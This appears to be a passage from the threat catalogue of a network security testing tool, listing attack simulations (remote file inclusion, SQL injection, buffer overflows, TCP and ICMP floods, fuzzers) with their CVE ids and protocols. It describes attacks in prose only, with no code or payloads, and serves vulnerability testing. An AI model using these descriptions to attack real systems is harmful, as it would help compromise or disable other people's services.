Detailed Description:	A remote code execution vulnerability exists in Mozilla Firefox. The vulnerability is due to a buffer overflow while executing specially crafted JavaScript call document.write() combined with DOM insertions. An attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web site
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3765
OSVDB:	68905
Threat File Name:	phpmycon_rfi_IPv6.xml
Executive Description:	PHPMyConference Menus.Inc.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	his threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyConference Script is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5310
OSVDB:	29730
Threat Package:	Standard
Threat File Name:	phpbb_tweaked_rfi.xml
Executive Description:	Phpbb Tweaked (phpbb_root_path) Remote File Include Vulnerability

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Phpbb Tweaked is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20080212-31_Facebook_Photo_Uploader_ActiveX_Control_FileMask_Method_Buffer_Overflow_IPv6.xml
Executive Description:	Facebook Photo Uploader ActiveX Control FileMask Method Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the Facebook Photo Uploader ActiveX control. The flaw is due to boundary error in multiple control's properties. Remote attackers can exploit this vulnerability by persuading the target user to view a malicious web page. Successful attack could allow for arbitrary code execution with privileges of the currently logged on user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally. It is likely that a pops up window alerts the user with the message "buffer overflow detected" before program termination.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2008-0660
Threat File Name:	TSL20170412-09_Adobe_Acrobat_ImageConversion_PCX_Parsing_Out-Of-Bounds_Write_IPv6.xml
Executive Description:	Adobe Acrobat ImageConversion PCX Parsing Out-Of-Bounds Write (IPv6 Version)
Detailed Description:	An out of bounds write vulnerability has been reported in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper processing of PCX files. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted PCX file. Successful exploitation of the vulnerability could lead to remote code execution under the context of the user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-3036
Threat File Name:	TSL20140128-08_ESF_pfSense_Snort_snort_log_view_php_Information_Disclosure_IPv6.xml
Executive Description:	ESF pfSense Snort snort_log_view.php Information Disclosure(IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in the pfSense Snort service. The vulnerability is due to insufficient validation of user-supplied input. A remote, authenticated attacker could use this vulnerability to retrieve valuable information from the server. Successful exploitation could lead to information disclosure in the security context of the root user.
Protocol Type:	HTTP,HTTPS,IPv6
OSVDB:	102608
Threat File Name:	FSC20071026-22_RealNetworks_RealPlayer_RealMedia_File_Format_Processing_Heap_Corruption.xml
Executive Description:	RealNetworks RealPlayer RealMedia File Format Processing Heap Corruption
Detailed Description:	A remote heap corruption vulnerability exists in RealNetworks RealPlayer application. The vulnerability is due to boundary errors when processing RM files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted RM file. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5081
Threat Package:	Standard
Threat File Name:	cisco_sip_invite_dos_IPv6.xml
Executive Description:	Cisco 7940/7960 Phone SIP Invite Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious INVITE message to a Cisco 7940/7960 VoIP Phone causing it to crash. Cisco 7940/7960 Phone uses the SIP protocol and typically listens on udp port 5060. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2007-1542
Threat Package:	Standard
Threat File Name:	FSC20070102-02_Apple_QuickTime_RTSP_URL_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime RTSP URL Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in Apple QuickTime. The vulnerability is caused due to lack of boundary checks when processing the "rtsp://" URLs. By enticing the target user, a remote unauthenticated attacker may leverage the vulnerability to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0015
Threat Package:	Standard
Threat File Name:	TSL20141014-16_Microsoft_NET_iriParsing_Remote_Code_Execution.xml
Executive Description:	Microsoft .NET iriParsing Remote Code Execution
Detailed Description:	A remote code execution vulnerability exists in Microsoft .NET Framework. The vulnerability is due to the way that internationalized resource identifiers (Iri) is processed. A remote attacker could exploit this vulnerability by sending a malicious request to the target server. Successful exploitation could result in arbitrary code execution in the security context in which the .NET application runs. If tester prefer to test HTTPS, you should set variable \$HTTPdestPort 443 before test.
Protocol Type:	HTTP
CVEID:	CVE-2014-4121
OSVDB:	113185
Threat File Name:	phorum_injection.xml
Executive Description:	Phorum Remote Code Execution
Detailed Description:	This threat inserts PHP code from another site due to an implementation flaw in the software package Phorum. Phorum is a bulletin board system for web servers, and would typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-0764

OSVDB:	11142
Threat Package:	Standard
Threat File Name:	picoServ.xml
Executive Description:	picoServer Remote Command Execution
Detailed Description:	This threat takes advantage of a parsing error in the cgi-bin functionality of picoServer. It allows a remote attacker to run arbitrary commands on the server in the context of the picoServer user. This can allow remote compromise of the system. picoServer listens as a traditional web server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1365
OSVDB:	16630
Threat Package:	Standard
Threat File Name:	ieSaveAs_IPv6.xml
Executive Description:	Microsoft Internet Explorer Save As Denial Of Service (IPv6 Version)
Detailed Description:	This attack takes advantage of a format string vulnerability in the save as dialog when handling an invalid URL. This threat sends a website that when viewed by Internet Explorer will cause it to crash. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2434
OSVDB:	8335
Threat Package:	Standard
Threat File Name:	watchfire_appscan_bof.xml
Executive Description:	WatchFire AppScan Authentication Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the WatchFire AppScan product. It is caused by sending a large Authorization HTTP header from the server, which in turn allows a user to control execution of the application on the client machine. WatchFire AppScan is a HTTP security auditing program that typically connects to web servers listening on port 80. This attack is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-4270
OSVDB:	21746
Threat File Name:	zenturi_activex_bof_IPv6.xml
Executive Description:	Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3076
Threat Package:	Standard
Threat File Name:	TSL20150406-13_IBM_Domino_LDAP_Server_ModifyRequest_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Domino LDAP Server ModifyRequest Stack Buffer Overflow IPv6 version
Detailed Description:	A stack buffer overflow vulnerability exist in IBM Domino's LDAP Server. The vulnerability is due to insufficient validation of input leading to copying an indefinite amount of data from a crafted ModifyRequest LDAP message to a fixed length stack buffer. A remote, unauthenticated attacker can exploit this vulnerability to cause a buffer overflow. Successful exploitation will result in the execution of arbitrary code with SYSTEM privileges. An unsuccessful attack could result in a denial of service condition of the affected service. Tester should set variable \$destPort to 389 or 636 before test.
Protocol Type:	LDAP/LDAPS.IPv6
CVEID:	CVE-2015-0117
Threat File Name:	runcms_cmi_b_IPv6.xml
Executive Description:	RunCMS Remote Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted POST payload containing PHP code that when retrieved using a remote file inclusion flaw allows arbitrary command execution. RunCMS is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0658
Threat File Name:	FSC20100608-15_Microsoft_Office_Excel_SxView_Record_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel SxView Record Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Excel. The vulnerability is due to a flaw while parsing certain records. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate.
Protocol Type:	HTTP
CVEID:	CVE-2010-0821
Threat Package:	Standard
Threat File Name:	TSL20120829-08_HP_Application_Lifecycle_Management_ActiveX_Control_Insecure_Method_Exposure_IPv6.xml
Executive Description:	HP Application Lifecycle Management ActiveX Control Insecure Method Exposure(IPv6 Version)
Detailed Description:	An insecure method exposure vulnerability exists in HP Application Lifecycle Management ActiveX control XGO.ocx. The vulnerability is caused by SetShapeNodeType function which exposes a parameter that can be used to control a function pointer. An attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	IPv6_HTTP,HTTPS
CVEID:	CVE-N/A
OSVDB:	85152
Threat File Name:	blogcms_sql_i.xml
Executive Description:	Blog:CMS Index.PHP SQL Injection Vulnerability

Detailed Description:	This threat sends a crafted URL that contains SQL code to disclose admin credentials. Blog:CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToCONNECT_IPv6.xml
Executive Description:	Fuzz HTTP CONNECT appended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field by appending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	fuzz-HTTP_ReplicatePinHTTP_IPv6.xml
Executive Description:	Fuzzes HTTP-Version with HTTPPPPP/1.1 (IPv6 Version)
Detailed Description:	Fuzzes HTTP-Version field by replicating the letter P in HTTP/1.1 between 0 and 1024 times. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	phpauction_rfi_IPv6.xml
Executive Description:	PHPAuction 2.1 (phpAds_path) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100309-09_Microsoft_Office_Excel_FNGROUPNAME_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel FNGROUPNAME Record Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way Microsoft Office Excel handles Excel files containing a malformed set of records, causing uninitialized memory to be accessed. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of memory corruption.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0262
Threat Package:	Standard
Threat File Name:	TSL20161220-07_Samba_NDR_Parsing_ndr_pull_dnsp_name_Integer_Overflow.xml
Executive Description:	Samba NDR Parsing ndr_pull_dnsp_name Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Samba. The vulnerability is due to incorrectly parsing crafted NDR data in the ndr_pull_dnsp_name() function, resulting in an integer overflow that leads to a heap buffer overflow. A remote, authenticated attacker could exploit this vulnerability by sending malicious packets to a vulnerable Samba service configured as an Active Directory Domain Controller. A successful attack could result in arbitrary code execution with the root privileges while an unsuccessful attack will cause the service to terminate or stop responding.
Protocol Type:	LDAP, LDAPS
CVEID:	CVE-2016-2123
Threat File Name:	awstats_cmi_IPv6.xml
Executive Description:	AWStats Referrer Arbitrary Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted post command with a modified referrer field, this field is used directly and can be executed directly by the script. AWStats is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1527
Threat File Name:	fuzz-TFTP_RRQ_MAIL_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_MAIL_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %s to mail with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	sixcms_xss_IPv6.xml
Executive Description:	SixCMS 6.0 List.PHP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url to take advantage of a flaw in SixCMS's List.php function which would allow a malicious user to execute code on the affected site. SixCMS is a web application the typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3051
OSVDB:	26504
Threat Package:	Standard
Threat File Name:	FSC20091210-08_HP_OpenView_Network_Node_Manager_snmpviewer.exe_Host_Header_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager snmpviewer.exe Host Header Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the HP OpenView Network Node Manager (NNM) CGI program snmpviewer.exe. The vulnerability is due to a boundary error when processing the Host header from HTTP requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the Internet Guest account. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4180
Threat Package:	Standard
Threat File Name:	DNSVersion_IPv6.xml
Executive Description:	BIND Version Query (IPv6 Version)
Detailed Description:	This threat queries a nameserver for its version information. Used by attackers to determine ways to attack an infrastructure based on vulnerabilities on that version of BIND. (IPv6 Version)
Protocol Type:	DNS/IPv6
Threat Package:	Standard

Threat File Name:	TSL20160422-01_GD_Library_libgd_gd_gd2.c_Heap_Buffer_Overflow.xml
Executive Description:	GD Library libgd gd_gd2.c Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability has been reported in libgd. The vulnerability is due to a signedness error that leads to a heap buffer overflow. Libgd is included within PHP. A remote attacker can exploit this flaw having the target process a crafted malicious GD2 file. Successful exploitation could result in code execution in the security context of the user process.
Protocol Type:	HTTP
CVEID:	CVE-2016-3074
Threat File Name:	pop_buffer_overflow_129.xml
Executive Description:	POP Buffer Overflow [129] Attack
Detailed Description:	This generic threat sends a long buffer [129 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	POP3
Threat Package:	Standard
Threat File Name:	FSC20060721-11_Apache_Tomcat_Directory_Listing_Information_Disclosure_IPv6.xml
Executive Description:	Apache Tomcat Directory Listing Information Disclosure (IPv6 Version)
Detailed Description:	There exists an arbitrary directory Information Disclosure vulnerability in Apache Tomcat. The flaw is caused by overly lax default permissions set by the product. An attacker may exploit this vulnerability to retrieve a complete listing of all the files in any directory. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	mobilepublisherphp_rfi_IPv6.xml
Executive Description:	MobilePublisherPHP Header.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.MobilePublisherPHP is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4849
OSVDB:	28920
Threat Package:	Standard
Threat File Name:	x86NOOPudpSGI2_IPv6.xml
Executive Description:	UDP x86 NOOP Variant SGI 2 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	opendock_fullcore_rfi_IPv6.xml
Executive Description:	OpenDock FullCore Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OpenDock FullCore is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	floodICMPHostUnreachable_IPv6.xml
Executive Description:	ICMP Host Unreachable Flood (IPv6 Version)
Detailed Description:	This threat sends out an ICMP Host Unreachable flood. This causes legitimate TCP connections to the spoofed address to be terminated. By continuously sending these packets, this can cause a denial of service on the target. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100209-03_Microsoft_Office_MSO_DLL_Memory_Corruption.xml
Executive Description:	Microsoft Office MSO.DLL Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Office. The vulnerability is due to an error in the MSO.dll library while processing malformed Office files. A remote attacker can leverage this vulnerability by enticing a target user to open a maliciously crafted Office file. A successful attack can result in injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0243
Threat Package:	Standard
Threat File Name:	FSC20090728-05_Microsoft_Internet_Explorer_Deleted_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Deleted Object Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to the way Internet Explorer accesses an object that has been deleted. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1917
Threat Package:	Standard
Threat File Name:	FSC20080515-05_Linux_Kernel_IPv6_over_IPv4_Memory_Leak_Denial_of_Service.xml
Executive Description:	Linux Kernel IPv6 over IPv4 Memory Leak Denial of Service
Detailed Description:	There exists a remote denial of service vulnerability in the Linux Kernel. The vulnerability occurs due to insufficient checks during the processing of network packets by the IPv6 over IPv4 tunnelling driver. By sending crafted packets to a target host, an attacker may exploit this vulnerability to consume all available memory, thus creating a system wide denial of service condition.

Protocol Type:	IP
CVEID:	CVE-2008-2136
Threat Package:	Standard
Threat File Name:	nachiB_IPv6.xml
Executive Description:	Nachi.B WebDav Attack (IPv6 Version)
Detailed Description:	This threat is a portion of the Nachi.B worm. This portion mimics the WebDav portion of the worm, which exploits a flaw in IIS on Microsoft Windows. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	cisco_firewall_bof.xml
Executive Description:	Cisco IOS Firewall Buffer Overflow
Detailed Description:	This threat attempts to cause a buffer overflow in the Cisco Firewall Authentication module by sending a large username to the telnet authentication system. This can lead to potential remote code execution as well as a denial of service. Telnet typically listens on port 23.
Protocol Type:	Telnet
CVEID:	CVE-2005-2841
OSVDB:	19227
Threat Package:	Standard
Threat File Name:	safari_javascript_dos.xml
Executive Description:	Apple Safari JavaScript Regular Expression Match Remote Denial of Service Vulnerability
Detailed Description:	This threat uses a malicious javascript to exploit the JavaScript implementation in Safari on Apple Mac OS X 10.4 and cause a denial of service or buffer overflow condition. Apple Safari is a web browser that typically connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6015
Threat Package:	Standard
Threat File Name:	grayCMS_Inclusion.xml
Executive Description:	GrayCMS Remote Code Execution
Detailed Description:	This threat takes advantage of PHP's ability to include a file from a remote webserver as part of its execution. This can be used by an attacker to execute arbitrary code in the context of the webserver.
Protocol Type:	HTTP
CVEID:	CVE-2005-1360
OSVDB:	15860
Threat Package:	Standard
Threat File Name:	TSL20150609-26_Adobe_Flash_Player_Shader_Parameter_Write_What_Where.xml
Executive Description:	Adobe Flash Player Shader Parameter Write-What-Where
Detailed Description:	A write-what-where vulnerability has been reported in a Adobe Flash Player. The vulnerability is due to an issue with processing Shader objects. A remote attacker could exploit this vulnerability by enticing a user into opening a page with a malicious SWF embedded within. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2015-3105
Threat File Name:	FSC20090609-15_Microsoft_Internet_Explorer_DOM_Object_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer DOM Object Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to the way Internet Explorer accesses an object that has not been correctly initialized or has been deleted. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1532
Threat Package:	Standard
Threat File Name:	TSL20111111-02_HP_Data_Protector_Multiple_Products_GetPolicies_SQL_Injection_IPv6.xml
Executive Description:	HP Data Protector Multiple Products GetPolicies SQL Injection(IPV6 VERSION)
Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the <italic>type</italic> field in a user supplied SOAP request to the DPNCentral web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2011-3157
Threat File Name:	x86NOOPudp6.xml
Executive Description:	UDP x86 NOOP Variant 6
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	FSC20060711-17_Microsoft_Excel_Malformed_FNGROUPCOUNT_Value_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed FNGROUPCOUNT Value Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The flaw is caused by an insufficient check of a malformed FNGROUPCOUNT Record in an Excel file. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP

CVEID:	CVE-2006-1308
Threat Package:	Standard
Threat File Name:	orinoco_info.xml
Executive Description:	Orinoco Information Leakage
Detailed Description:	This threat sends a specialized packet to UDP port 192. This will cause an Orinoco Residential Gateway to disclose its SNMP community string. This community string can then be used by an attacker to read and alter settings on the device.
Protocol Type:	UDP
CVEID:	CVE-2002-0812
OSVDB:	11315
Threat Package:	Standard
Threat File Name:	FSC20070129-04_Apple_Mac_OS_X_Installer_Package_Filename_Format_String_Vulnerability_IPv6.xml
Executive Description:	Apple Mac OS X Installer Package Filename Format String Vulnerability (IPv6 Version)
Detailed Description:	There exists a format string vulnerability in the Apple Installer application. The flaw is due to improper sanity checks on package filename strings. An attacker may exploit this vulnerability by enticing a user to open a crafted package file in order to inject and execute arbitrary code on the target host within the security context of the target user or potentially with System level privileges. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0465
Threat Package:	Standard
Threat File Name:	TSL20160913-31_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3297_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3297 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2016-3297
Threat File Name:	TSL20170421-01_Exponent_CMS_eaasController.php_api_Function_SQL_Injection.xml
Executive Description:	Exponent CMS eaasController.php api Function SQL Injection
Detailed Description:	A SQL injection vulnerability has been reported in Exponent CMS. The vulnerability is due to a lack of input validation on the apikey HTTP parameter by the api() function. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary SQL commands on the target server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-7991
Threat File Name:	estara_bof_IPv6.xml
Executive Description:	eStara Softphone Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a SDP payload that will cause a buffer overflow on eStara Softphone. The threat contains a shellcode payload that pops up a dialog box. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2006-0189
OSVDB:	22348
Threat Package:	Standard
Threat File Name:	x86NOOPudp5.xml
Executive Description:	UDP x86 NOOP Variant 5
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	TSL20170307-02_Trend_Micro_Control_Manager_lang_Parameter_Arbitrary_File_Inclusion.xml
Executive Description:	Trend Micro Control Manager lang Parameter Arbitrary File Inclusion
Detailed Description:	An arbitrary file inclusion vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters(..) by modDLPViolationCnt_drildown.php and modDLPTemplateMatch_drildown.php. A remote, unauthenticated attacker could exploit this vulnerability by importing and running an attacker controlled script. Successful exploitation results in arbitrary code execution under the security context the iUSR user.
Protocol Type:	HTTPS
Threat File Name:	zenturi_navigateurl_activex_bof.xml
Executive Description:	Zenturi ProgramChecker ActiveX NavigateUrl() Insecure Method Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker "NavigateUrl()" ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	imail_ldap.xml
Executive Description:	IMail LDAP Buffer Overflow
Detailed Description:	This threat attacks the LDAP server that comes with Ipswitch Collaboration Suite. This service typically listens on port 389.
Protocol Type:	LDAP
CVEID:	CVE-2004-0297
OSVDB:	3984
Threat Package:	Standard
Threat File Name:	imap_buffer_overflow_1025_IPv6.xml
Executive Description:	IMAP Buffer Overflow [1025] Attack (IPv6 Version)

Detailed Description:	This generic threat sends a long buffer [1025 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20041118-01_Microsoft_Internet_Explorer_execCommand_File_Type_Spoofing_IPv6.xml
Executive Description:	Microsoft Internet Explorer execCommand File Type Spoofing (IPv6 Version)
Detailed Description:	A vulnerability exists in Microsoft Internet Explorer when the script command execCommand is used to save a document. A specially crafted filename will be displayed as another file type. An attacker can exploit this vulnerability to save code to the target system with the extension of an executable program (e.g. .js file) by tricking a user into believing that he is saving a non-executable file (e.g., .html file). (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1331
Threat Package:	Standard
Threat File Name:	FSC20110412-19_Adoe_Flash_Player_ActionScript_callMethod_Type_Confusion_Code_Execution.xml
Executive Description:	Adobe Flash Player ActionScript callMethod Type Confusion Code Execution
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player, Adobe Reader and Adobe Acrobat products. The vulnerability could allow a remote attacker to inject and execute arbitrary code on the affected system. A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious Flash file. This vulnerability is being exploited in the wild in targeted attacks via a Flash (.swf) file embedded in a Microsoft Word (.doc) file delivered as an email attachment. The malware identifier covering this threat is FSC20110412-02.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2011-0611
Threat File Name:	FloodAck.xml
Executive Description:	TCP ACK Flood
Detailed Description:	This threat floods a user specified target with TCP packets from a user specified source where the ACK (Acknowledgement) flag has been turned on. The ACK flag is sent by a user to verify that a transmission was successful. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS. Setting the source IP address to random will make this a more effective attack.
Protocol Type:	TCP
CVEID:	CVE-1999-0770
OSVDB:	1027
Threat Package:	Standard
Threat File Name:	TSL20160901-05_Microsoft_Office_CVE-2016-3318_Remote_Code_Execution.xml
Executive Description:	Microsoft Office CVE-2016-3318 Remote Code Execution
Detailed Description:	An out-of-bounds write vulnerability has been reported in Microsoft Office products. The vulnerability is due to improper handling embedded images in the Microsoft document files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted document. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP
CVEID:	CVE-2016-3318
Threat File Name:	FSC20070710-13_Microsoft_Windows_Active_Directory_Crafted_LDAP_Request_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Windows Active Directory Crafted LDAP Request Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in Microsoft Windows Active Directory. The flaw is caused by improper handling of LDAP requests. An unauthenticated remote attacker may exploit this vulnerability by sending a specially crafted LDAP message to the target host, causing the target server to temporarily stop responding. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2007-3028
Threat Package:	Standard
Threat File Name:	tsep_rfi_IPv6.xml
Executive Description:	The Search Engine Project (TSEP) 0.9.4.2 copyright.php Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. TSEP is a web application that typically listens on port 80 (IPv6 Version)
